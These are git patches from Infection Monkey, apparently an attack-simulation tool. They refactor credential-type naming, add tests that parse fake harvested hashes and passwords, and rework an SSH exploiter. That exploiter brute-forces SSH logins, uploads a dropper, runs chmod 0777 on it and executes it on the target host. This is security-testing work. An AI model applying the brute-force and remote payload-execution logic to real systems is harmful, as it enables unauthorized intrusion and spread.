ConfigService.creds_add_lm_hash(lm_hash["lm_hash"]) From c87297eb2afa88956da579fb8239a9b9208bc47a Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 21 Feb 2022 17:24:55 +0200 Subject: [PATCH 0497/1110] Island: fix a bug in lm_hash_processor.py --- .../credentials/test_mimikatz_processing.py | 92 +++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_mimikatz_processing.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_mimikatz_processing.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_mimikatz_processing.py new file mode 100644 index 000000000..b61341a34 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_mimikatz_processing.py @@ -0,0 +1,92 @@ +from copy import deepcopy +from datetime import datetime + +import dpath.util +import mongoengine +import pytest + +from common.config_value_paths import ( + LM_HASH_LIST_PATH, + NTLM_HASH_LIST_PATH, + PASSWORD_LIST_PATH, + USER_LIST_PATH, +) +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.telemetry.processing.credentials.credentials_parser import ( + parse_credentials, +) + +MIMIKATZ_TELEM_TEMPLATE = { + "monkey_guid": "272405690278083", + "telem_category": "credentials", + "timestamp": datetime(2022, 2, 18, 11, 51, 15, 338953), + "command_control_channel": {"src": "10.2.2.251", "dst": "10.2.2.251:5000"}, + "data": None, +} + +fake_username = "m0nk3y_user" +mimikatz_telem_usernames = deepcopy(MIMIKATZ_TELEM_TEMPLATE) +mimikatz_telem_usernames["data"] = [ + {"identities": [{"username": fake_username, "credential_type": "username"}], "secrets": []} +] + +fake_nt_hash = "c1c58f96cdf212b50837bc11a00be47c" +fake_lm_hash = "299BD128C1101FD6" +fake_password = "trytostealthis" +mimikatz_telem = deepcopy(MIMIKATZ_TELEM_TEMPLATE) +mimikatz_telem["data"] = [ + { + "identities": [{"username": fake_username, "credential_type": "username"}], + "secrets": [ + {"nt_hash": fake_nt_hash, "credential_type": "nt_hash"}, + {"lm_hash": fake_lm_hash, "credential_type": "lm_hash"}, + {"password": fake_password, "credential_type": "password"}, + ], + } +] + +mimikatz_empty_telem = deepcopy(MIMIKATZ_TELEM_TEMPLATE) +mimikatz_empty_telem["data"] = [{"identities": [], "secrets": []}] + + +@pytest.fixture +def fake_mongo(monkeypatch): + mongo = mongoengine.connection.get_connection() + monkeypatch.setattr("monkey_island.cc.services.config.mongo", mongo) + config = ConfigService.get_default_config() + ConfigService.update_config(config, should_encrypt=True) + return mongo + + +@pytest.mark.usefixtures("uses_database") +def test_mimikatz_username_parsing(fake_mongo): + parse_credentials(mimikatz_telem_usernames) + config = ConfigService.get_config(should_decrypt=True) + assert fake_username in dpath.util.get(config, USER_LIST_PATH) + + +@pytest.mark.usefixtures("uses_database") +def test_mimikatz_telemetry_parsing(fake_mongo): + parse_credentials(mimikatz_telem) + config = ConfigService.get_config(should_decrypt=True) + assert fake_username in dpath.util.get(config, USER_LIST_PATH) + assert fake_nt_hash in dpath.util.get(config, NTLM_HASH_LIST_PATH) + assert fake_lm_hash in dpath.util.get(config, LM_HASH_LIST_PATH) + assert fake_password in dpath.util.get(config, PASSWORD_LIST_PATH) + + +@pytest.mark.usefixtures("uses_database") +def test_empty_mimikatz_telemetry_parsing(fake_mongo): + default_config = deepcopy(ConfigService.get_config(should_decrypt=True)) + default_usernames = dpath.util.get(default_config, USER_LIST_PATH) + default_nt_hashes = dpath.util.get(default_config, NTLM_HASH_LIST_PATH) + default_lm_hashes = dpath.util.get(default_config, LM_HASH_LIST_PATH) + default_passwords = dpath.util.get(default_config, PASSWORD_LIST_PATH) + + parse_credentials(mimikatz_empty_telem) + config = ConfigService.get_config(should_decrypt=True) + + assert default_usernames == dpath.util.get(config, USER_LIST_PATH) + assert default_nt_hashes == dpath.util.get(config, NTLM_HASH_LIST_PATH) + assert default_lm_hashes == dpath.util.get(config, LM_HASH_LIST_PATH) + assert default_passwords == dpath.util.get(config, PASSWORD_LIST_PATH) From 719d8dd2ade99dadd5b227c41b3500099aec2830 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 22 Feb 2022 16:12:02 +0200 Subject: [PATCH 0498/1110] Island, Agent, Common: rename CredentialsType to CredentialComponentType --- ...s_type.py => credential_component_type.py} | 2 +- .../credential_components/lm_hash.py | 6 ++- .../credential_components/nt_hash.py | 6 ++- .../credential_components/password.py | 6 ++- .../credential_components/ssh_keypair.py | 6 ++- .../credential_components/username.py | 6 ++- .../i_credential_component.py | 4 +- .../credentials/credentials_parser.py | 37 ++++++------------- .../credentials/secrets/ssh_key_processor.py | 4 +- 9 files changed, 36 insertions(+), 41 deletions(-) rename monkey/common/common_consts/{credentials_type.py => credential_component_type.py} (80%) diff --git a/monkey/common/common_consts/credentials_type.py b/monkey/common/common_consts/credential_component_type.py similarity index 80% rename from monkey/common/common_consts/credentials_type.py rename to monkey/common/common_consts/credential_component_type.py index 0aeb79630..76326e50e 100644 --- a/monkey/common/common_consts/credentials_type.py +++ b/monkey/common/common_consts/credential_component_type.py @@ -1,7 +1,7 @@ from enum import Enum -class CredentialsType(Enum): +class CredentialComponentType(Enum): USERNAME = "username" PASSWORD = "password" NT_HASH = "nt_hash" diff --git a/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py index 721e5a822..1fef78437 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py @@ -1,10 +1,12 @@ from dataclasses import dataclass, field -from common.common_consts.credentials_type import CredentialsType +from common.common_consts.credential_component_type import CredentialComponentType from infection_monkey.i_puppet import ICredentialComponent @dataclass(frozen=True) class LMHash(ICredentialComponent): - credential_type: CredentialsType = field(default=CredentialsType.LM_HASH.value, init=False) + credential_type: CredentialComponentType = field( + default=CredentialComponentType.LM_HASH.value, init=False + ) lm_hash: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py index c7d0de042..07b9f859a 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py @@ -1,10 +1,12 @@ from dataclasses import dataclass, field -from common.common_consts.credentials_type import CredentialsType +from common.common_consts.credential_component_type import CredentialComponentType from infection_monkey.i_puppet import ICredentialComponent @dataclass(frozen=True) class NTHash(ICredentialComponent): - credential_type: CredentialsType = field(default=CredentialsType.NT_HASH.value, init=False) + credential_type: CredentialComponentType = field( + default=CredentialComponentType.NT_HASH.value, init=False + ) nt_hash: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/password.py b/monkey/infection_monkey/credential_collectors/credential_components/password.py index 5615c20f7..3a05e3599 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/password.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/password.py @@ -1,10 +1,12 @@ from dataclasses import dataclass, field -from common.common_consts.credentials_type import CredentialsType +from common.common_consts.credential_component_type import CredentialComponentType from infection_monkey.i_puppet import ICredentialComponent @dataclass(frozen=True) class Password(ICredentialComponent): - credential_type: CredentialsType = field(default=CredentialsType.PASSWORD.value, init=False) + credential_type: CredentialComponentType = field( + default=CredentialComponentType.PASSWORD.value, init=False + ) password: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py index 29f91a15d..6abd314bb 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py @@ -1,11 +1,13 @@ from dataclasses import dataclass, field -from common.common_consts.credentials_type import CredentialsType +from common.common_consts.credential_component_type import CredentialComponentType from infection_monkey.i_puppet import ICredentialComponent @dataclass(frozen=True) class SSHKeypair(ICredentialComponent): - credential_type: CredentialsType = field(default=CredentialsType.SSH_KEYPAIR.value, init=False) + credential_type: CredentialComponentType = field( + default=CredentialComponentType.SSH_KEYPAIR.value, init=False + ) private_key: str public_key: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/username.py b/monkey/infection_monkey/credential_collectors/credential_components/username.py index 7ed37e89c..791dd6abe 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/username.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/username.py @@ -1,10 +1,12 @@ from dataclasses import dataclass, field -from common.common_consts.credentials_type import CredentialsType +from common.common_consts.credential_component_type import CredentialComponentType from infection_monkey.i_puppet import ICredentialComponent @dataclass(frozen=True) class Username(ICredentialComponent): - credential_type: CredentialsType = field(default=CredentialsType.USERNAME.value, init=False) + credential_type: CredentialComponentType = field( + default=CredentialComponentType.USERNAME.value, init=False + ) username: str diff --git a/monkey/infection_monkey/i_puppet/credential_collection/i_credential_component.py b/monkey/infection_monkey/i_puppet/credential_collection/i_credential_component.py index 5846c7ecf..c4471ebfb 100644 --- a/monkey/infection_monkey/i_puppet/credential_collection/i_credential_component.py +++ b/monkey/infection_monkey/i_puppet/credential_collection/i_credential_component.py @@ -1,10 +1,10 @@ from abc import ABC, abstractmethod -from common.common_consts.credentials_type import CredentialsType +from common.common_consts.credential_component_type import CredentialComponentType class ICredentialComponent(ABC): @property @abstractmethod - def credential_type(self) -> CredentialsType: + def credential_type(self) -> CredentialComponentType: pass diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py index 47be30a63..9c4661e1d 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py @@ -1,44 +1,29 @@ import logging +from typing import Mapping -from common.common_consts.credentials_type import CredentialsType +from common.common_consts.credential_component_type import CredentialComponentType from .identities.username_processor import process_username from .secrets.lm_hash_processor import process_lm_hash from .secrets.nt_hash_processor import process_nt_hash from .secrets.password_processor import process_password -from .secrets.ssh_key_processor import process_ssh_key logger = logging.getLogger(__name__) SECRET_PROCESSORS = { - CredentialsType.PASSWORD.value: process_password, - CredentialsType.NT_HASH.value: process_nt_hash, - CredentialsType.LM_HASH.value: process_lm_hash, - CredentialsType.SSH_KEYPAIR.value: process_ssh_key, + CredentialComponentType.PASSWORD.value: process_password, + CredentialComponentType.NT_HASH.value: process_nt_hash, + CredentialComponentType.LM_HASH.value: process_lm_hash, } IDENTITY_PROCESSORS = { - CredentialsType.USERNAME.value: process_username, + CredentialComponentType.USERNAME.value: process_username, } -def parse_credentials(credentials: dict): - +def parse_credentials(credentials: Mapping): for credential in credentials["data"]: - if is_ssh_keypair(credential): - SECRET_PROCESSORS[CredentialsType.SSH_KEYPAIR.value](credential, credentials["monkey_guid"]) - else: - for identity in credential["identities"]: - IDENTITY_PROCESSORS[identity["credential_type"]](identity) - for secret in credential["secrets"]: - SECRET_PROCESSORS[secret["credential_type"]](secret) - - -def is_ssh_keypair(credential: dict) -> bool: - return bool( - [ - secret - for secret in credential["secrets"] - if secret["credential_type"] == CredentialsType.SSH_KEYPAIR.value - ] - ) + for identity in credential["identities"]: + IDENTITY_PROCESSORS[identity["credential_type"]](identity) + for secret in credential["secrets"]: + SECRET_PROCESSORS[secret["credential_type"]](secret) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py index 61d03b2d1..b6b898fda 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py @@ -1,4 +1,4 @@ -from common.common_consts.credentials_type import CredentialsType +from common.common_consts.credentials_type import CredentialComponentType from monkey_island.cc.models import Monkey from monkey_island.cc.server_utils.encryption import get_datastore_encryptor from monkey_island.cc.services.config import ConfigService @@ -17,7 +17,7 @@ def process_ssh_key(credentials: dict, monkey_guid: str): ) for ssh_key in credentials["secrets"]: - if not ssh_key["credential_type"] == CredentialsType.SSH_KEYPAIR.value: + if not ssh_key["credential_type"] == CredentialComponentType.SSH_KEYPAIR.value: raise SSHKeyProcessingError("SSH credentials contain secrets that are not keypairs") if not ssh_key["public_key"] or not ssh_key["private_key"]: From 0cbfc79a923e202432f969d3592f4effa9b68348 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 22 Feb 2022 16:28:08 +0200 Subject: [PATCH 0499/1110] Island: remove unfinished ssh key processor --- .../credentials/secrets/ssh_key_processor.py | 42 ------------------- 1 file changed, 42 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py deleted file mode 100644 index b6b898fda..000000000 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py +++ /dev/null @@ -1,42 +0,0 @@ -from common.common_consts.credentials_type import CredentialComponentType -from monkey_island.cc.models import Monkey -from monkey_island.cc.server_utils.encryption import get_datastore_encryptor -from monkey_island.cc.services.config import ConfigService - - -class SSHKeyProcessingError(ValueError): - def __init__(self, msg=""): - self.msg = f"Error while processing ssh keypair: {msg}" - super().__init__(self.msg) - - -def process_ssh_key(credentials: dict, monkey_guid: str): - if len(credentials["identities"]) != 1: - raise SSHKeyProcessingError( - f'SSH credentials have {len(credentials["identities"])}' f" users associated with it!" - ) - - for ssh_key in credentials["secrets"]: - if not ssh_key["credential_type"] == CredentialComponentType.SSH_KEYPAIR.value: - raise SSHKeyProcessingError("SSH credentials contain secrets that are not keypairs") - - if not ssh_key["public_key"] or not ssh_key["private_key"]: - raise SSHKeyProcessingError("Private or public key missing!") - - # TODO SSH key should be associated with IP that monkey exploited - ip = Monkey.get_single_monkey_by_guid(monkey_guid).ip_addresses[0] - username = credentials["identities"][0]["username"] - - encrypt_system_info_ssh_keys(ssh_key) - - ConfigService.ssh_add_keys( - user=username, - public_key=ssh_key["public_key"], - private_key=ssh_key["private_key"], - ip=ip, - ) - - -def encrypt_system_info_ssh_keys(ssh_key: dict): - for field in ["public_key", "private_key"]: - ssh_key[field] = get_datastore_encryptor().encrypt(ssh_key[field]) From 8c90a98d05bb287b0b1d8de95e1b096722ab483e Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 22 Feb 2022 17:12:48 +0200 Subject: [PATCH 0500/1110] UT: rename mimikatz credential processing to credential processing --- ...ssing.py => test_credential_processing.py} | 26 +++++++++---------- 1 file changed, 13 insertions(+), 13 deletions(-) rename monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/{test_mimikatz_processing.py => test_credential_processing.py} (82%) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_mimikatz_processing.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py similarity index 82% rename from monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_mimikatz_processing.py rename to monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py index b61341a34..173b9662f 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_mimikatz_processing.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py @@ -16,7 +16,7 @@ from monkey_island.cc.services.telemetry.processing.credentials.credentials_pars parse_credentials, ) -MIMIKATZ_TELEM_TEMPLATE = { +CREDENTIAL_TELEM_TEMPLATE = { "monkey_guid": "272405690278083", "telem_category": "credentials", "timestamp": datetime(2022, 2, 18, 11, 51, 15, 338953), @@ -25,16 +25,16 @@ MIMIKATZ_TELEM_TEMPLATE = { } fake_username = "m0nk3y_user" -mimikatz_telem_usernames = deepcopy(MIMIKATZ_TELEM_TEMPLATE) -mimikatz_telem_usernames["data"] = [ +cred_telem_usernames = deepcopy(CREDENTIAL_TELEM_TEMPLATE) +cred_telem_usernames["data"] = [ {"identities": [{"username": fake_username, "credential_type": "username"}], "secrets": []} ] fake_nt_hash = "c1c58f96cdf212b50837bc11a00be47c" fake_lm_hash = "299BD128C1101FD6" fake_password = "trytostealthis" -mimikatz_telem = deepcopy(MIMIKATZ_TELEM_TEMPLATE) -mimikatz_telem["data"] = [ +cred_telem = deepcopy(CREDENTIAL_TELEM_TEMPLATE) +cred_telem["data"] = [ { "identities": [{"username": fake_username, "credential_type": "username"}], "secrets": [ @@ -45,8 +45,8 @@ mimikatz_telem["data"] = [ } ] -mimikatz_empty_telem = deepcopy(MIMIKATZ_TELEM_TEMPLATE) -mimikatz_empty_telem["data"] = [{"identities": [], "secrets": []}] +cred_empty_telem = deepcopy(CREDENTIAL_TELEM_TEMPLATE) +cred_empty_telem["data"] = [{"identities": [], "secrets": []}] @pytest.fixture @@ -59,15 +59,15 @@ def fake_mongo(monkeypatch): @pytest.mark.usefixtures("uses_database") -def test_mimikatz_username_parsing(fake_mongo): - parse_credentials(mimikatz_telem_usernames) +def test_cred_username_parsing(fake_mongo): + parse_credentials(cred_telem_usernames) config = ConfigService.get_config(should_decrypt=True) assert fake_username in dpath.util.get(config, USER_LIST_PATH) @pytest.mark.usefixtures("uses_database") -def test_mimikatz_telemetry_parsing(fake_mongo): - parse_credentials(mimikatz_telem) +def test_cred_telemetry_parsing(fake_mongo): + parse_credentials(cred_telem) config = ConfigService.get_config(should_decrypt=True) assert fake_username in dpath.util.get(config, USER_LIST_PATH) assert fake_nt_hash in dpath.util.get(config, NTLM_HASH_LIST_PATH) @@ -76,14 +76,14 @@ def test_mimikatz_telemetry_parsing(fake_mongo): @pytest.mark.usefixtures("uses_database") -def test_empty_mimikatz_telemetry_parsing(fake_mongo): +def test_empty_cred_telemetry_parsing(fake_mongo): default_config = deepcopy(ConfigService.get_config(should_decrypt=True)) default_usernames = dpath.util.get(default_config, USER_LIST_PATH) default_nt_hashes = dpath.util.get(default_config, NTLM_HASH_LIST_PATH) default_lm_hashes = dpath.util.get(default_config, LM_HASH_LIST_PATH) default_passwords = dpath.util.get(default_config, PASSWORD_LIST_PATH) - parse_credentials(mimikatz_empty_telem) + parse_credentials(cred_empty_telem) config = ConfigService.get_config(should_decrypt=True) assert default_usernames == dpath.util.get(config, USER_LIST_PATH) From f2b2a9c5c3a0fc91a8d5be635126493c08e55075 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 21 Feb 2022 10:56:31 +0100 Subject: [PATCH 0501/1110] Agent: Modify SSH exploit * Remove credential hashes from logs * Get rid of config and use brute_force utils * Use telemetry messenger to send attack telemetries * Zerologon and Powershell needs to be revised based on UT --- .../infection_monkey/exploit/HostExploiter.py | 14 +++-- monkey/infection_monkey/exploit/sshexec.py | 54 ++++++++++--------- monkey/infection_monkey/monkey.py | 5 +- monkey/infection_monkey/puppet/puppet.py | 10 ++-- .../infection_monkey/puppet/test_puppet.py | 15 ++++-- 5 files changed, 62 insertions(+), 36 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 744ea57e8..017451188 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -1,10 +1,12 @@ import logging from abc import abstractmethod from datetime import datetime +from typing import Dict from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.config import WormConfiguration +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger logger = logging.getLogger(__name__) @@ -26,7 +28,7 @@ class HostExploiter: def _EXPLOITED_SERVICE(self): pass - def __init__(self, host): + def __init__(self): self._config = WormConfiguration self.exploit_info = { "display_name": self._EXPLOITED_SERVICE, @@ -37,7 +39,9 @@ class HostExploiter: "executed_cmds": [], } self.exploit_attempts = [] - self.host = host + self.host = None + self.telemetry_messenger = None + self.options = {} def set_start_time(self): self.exploit_info["started"] = datetime.now().isoformat() @@ -71,7 +75,11 @@ class HostExploiter: } ) - def exploit_host(self): + def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict): + self.host = host + self.telemetry_messenger = telemetry_messenger + self.options = options + self.pre_exploit() result = None try: diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index a989ea66c..63f4c7bd9 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -14,6 +14,7 @@ from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem +from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.commands import build_monkey_commandline logger = logging.getLogger(__name__) @@ -26,8 +27,8 @@ class SSHExploiter(HostExploiter): EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "SSH" - def __init__(self, host): - super(SSHExploiter, self).__init__(host) + def __init__(self): + super(SSHExploiter, self).__init__() self._update_timestamp = 0 def log_transfer(self, transferred, total): @@ -37,7 +38,10 @@ class SSHExploiter(HostExploiter): self._update_timestamp = time.time() def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: - user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs() + user_ssh_key_pairs = generate_identity_secret_pairs( + identities=self.options["credentials"]["exploit_user_list"], + secrets=self.options["credentials"]["exploit_ssh_keys"], + ) for user, ssh_key_pair in user_ssh_key_pairs: # Creating file-like private key for paramiko @@ -67,7 +71,10 @@ class SSHExploiter(HostExploiter): raise FailedExploitationError def exploit_with_login_creds(self, port) -> paramiko.SSHClient: - user_password_pairs = self._config.get_exploit_user_password_pairs() + user_password_pairs = generate_identity_secret_pairs( + identities=self.options["credentials"]["exploit_user_list"], + secrets=self.options["credentials"]["exploit_password_list"], + ) for user, current_password in user_password_pairs: @@ -76,23 +83,16 @@ class SSHExploiter(HostExploiter): try: ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port) - logger.debug( - "Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)", - self.host, - user, - self._config.hash_sensitive_data(current_password), - ) + logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) self.add_vuln_port(port) self.report_login_attempt(True, user, current_password) return ssh except Exception as exc: logger.debug( - "Error logging into victim %r with user" - " %s and password (SHA-512) '%s': (%s)", + "Error logging into victim %r with user" " %s: (%s)", self.host, user, - self._config.hash_sensitive_data(current_password), exc, ) self.report_login_attempt(False, user, current_password) @@ -159,37 +159,41 @@ class SSHExploiter(HostExploiter): with monkeyfs.open(src_path) as file_obj: ftp.putfo( file_obj, - self._config.dropper_target_path_linux, + self.options["dropper_target_path_linux"], file_size=monkeyfs.getsize(src_path), callback=self.log_transfer, ) - ftp.chmod(self._config.dropper_target_path_linux, 0o777) + ftp.chmod(self.options["dropper_target_path_linux"], 0o777) status = ScanStatus.USED - T1222Telem( - ScanStatus.USED, - "chmod 0777 %s" % self._config.dropper_target_path_linux, - self.host, - ).send() + self.telemetry_messenger.send_telemetry( + T1222Telem( + ScanStatus.USED, + "chmod 0777 %s" % self.options["dropper_target_path_linux"], + self.host, + ) + ) ftp.close() except Exception as exc: logger.debug("Error uploading file into victim %r: (%s)", self.host, exc) status = ScanStatus.SCANNED - T1105Telem( - status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path - ).send() + self.telemetry_messenger.send_telemetry( + T1105Telem( + status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path + ) + ) if status == ScanStatus.SCANNED: return False try: - cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) + cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) cmdline += " > /dev/null 2>&1 &" ssh.exec_command(cmdline) logger.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, + self.options["dropper_target_path_linux"], self.host, cmdline, ) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index c8132e054..5c36b0278 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -16,6 +16,7 @@ from infection_monkey.credential_collectors import ( MimikatzCredentialCollector, SSHCredentialCollector, ) +from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.master import AutomatedMaster from infection_monkey.master.control_channel import ControlChannel @@ -194,7 +195,7 @@ class InfectionMonkey: return local_network_interfaces def _build_puppet(self) -> IPuppet: - puppet = Puppet() + puppet = Puppet(self.telemetry_messenger) puppet.load_plugin( "MimikatzCollector", @@ -213,6 +214,8 @@ class InfectionMonkey: puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER) + puppet.load_plugin("SSHExploiter", SSHExploiter(), PluginType.EXPLOITER) + puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) return puppet diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index bea4695b3..1e4ce7e96 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -14,6 +14,7 @@ from infection_monkey.i_puppet import ( PostBreachData, ) +from ..telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from .mock_puppet import MockPuppet from .plugin_registry import PluginRegistry @@ -21,9 +22,10 @@ logger = logging.getLogger() class Puppet(IPuppet): - def __init__(self) -> None: + def __init__(self, telemetry_messenger: ITelemetryMessenger) -> None: self._mock_puppet = MockPuppet() self._plugin_registry = PluginRegistry() + self._telemetry_messenger = telemetry_messenger def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None: self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type) @@ -56,10 +58,12 @@ class Puppet(IPuppet): fingerprinter = self._plugin_registry.get_plugin(name, PluginType.FINGERPRINTER) return fingerprinter.get_host_fingerprint(host, ping_scan_data, port_scan_data, options) + # TODO: host should be VictimHost, at the moment it can't because of circular dependency def exploit_host( - self, name: str, host: str, options: Dict, interrupt: threading.Event + self, name: str, host: object, options: Dict, interrupt: threading.Event ) -> ExploiterResultData: - return self._mock_puppet.exploit_host(name, host, options, interrupt) + exploiter = self._plugin_registry.get_plugin(name, PluginType.EXPLOITER) + return exploiter.exploit_host(host, self._telemetry_messenger, options) def run_payload(self, name: str, options: Dict, interrupt: threading.Event): payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD) diff --git a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py index 950bc329b..54b9275ae 100644 --- a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py +++ b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py @@ -1,12 +1,19 @@ import threading from unittest.mock import MagicMock +import pytest + from infection_monkey.i_puppet import PluginType from infection_monkey.puppet.puppet import Puppet -def test_puppet_run_payload_success(monkeypatch): - p = Puppet() +@pytest.fixture +def mock_telemetry_messenger(): + return MagicMock() + + +def test_puppet_run_payload_success(monkeypatch, mock_telemetry_messenger): + p = Puppet(mock_telemetry_messenger) payload = MagicMock() payload_name = "PayloadOne" @@ -17,8 +24,8 @@ def test_puppet_run_payload_success(monkeypatch): payload.run.assert_called_once() -def test_puppet_run_multiple_payloads(monkeypatch): - p = Puppet() +def test_puppet_run_multiple_payloads(monkeypatch, mock_telemetry_messenger): + p = Puppet(mock_telemetry_messenger) payload_1 = MagicMock() payload1_name = "PayloadOne" From 58b1a04bd702e3a3bd3dbab4d82b9aabb8c6a763 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 22 Feb 2022 19:30:53 +0100 Subject: [PATCH 0502/1110] Agent: Modify exploit_host() to accept object instead of string --- monkey/infection_monkey/i_puppet/i_puppet.py | 7 +++++-- monkey/infection_monkey/master/exploiter.py | 2 +- monkey/infection_monkey/puppet/mock_puppet.py | 5 +++-- 3 files changed, 9 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index 79bd3b4fe..78c0c9659 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -102,16 +102,19 @@ class IPuppet(metaclass=abc.ABCMeta): :rtype: FingerprintData """ + # TODO: host should be VictimHost, at the moment it can't because of circular dependency @abc.abstractmethod def exploit_host( - self, name: str, host: str, options: Dict, interrupt: threading.Event + self, name: str, host: object, options: Dict, interrupt: threading.Event ) -> ExploiterResultData: """ Runs an exploiter against a remote host :param str name: The name of the exploiter to run - :param str host: The domain name or IP address of a host + :param object host: The domain name or IP address of a host :param Dict options: A dictionary containing options that modify the behavior of the exploiter + :param threading.Event interrupt: A threading.Event object that signals the exploit to stop + executing and clean itself up. :return: True if exploitation was successful, False otherwise :rtype: ExploiterResultData """ diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index 092bc78d8..5a76b20a8 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ 